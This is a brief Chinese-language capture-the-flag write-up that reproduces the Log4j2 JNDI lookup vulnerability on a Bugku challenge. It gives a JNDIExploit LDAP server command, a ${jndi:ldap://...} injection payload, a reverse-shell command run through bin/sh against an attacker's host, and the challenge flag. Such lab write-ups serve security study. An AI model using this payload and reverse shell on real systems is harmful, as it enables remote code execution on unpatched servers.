Apache Log4j2 是一款开源的 Java 日志记录工具，大量的业务框架都使用了该组件。如：Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中，并未对输入进行严格的判断，从而造成漏洞的发生。
影响范围:
Apache Log4j 2.x < 2.15.0-rc2
利用bugku中的题来复现该漏洞
在公网搭建自己的LDAP服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i x.x.x.x
同时开启监听（新建终端）
在输入框输入 密码随便输
${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/base64加密后命令}
base64加密后的命令：x.x.x.x：服务器开启的端口 -e bin/sh
提交以后查看服务器
flag{75721985087c8786c71df4607cf28d32}
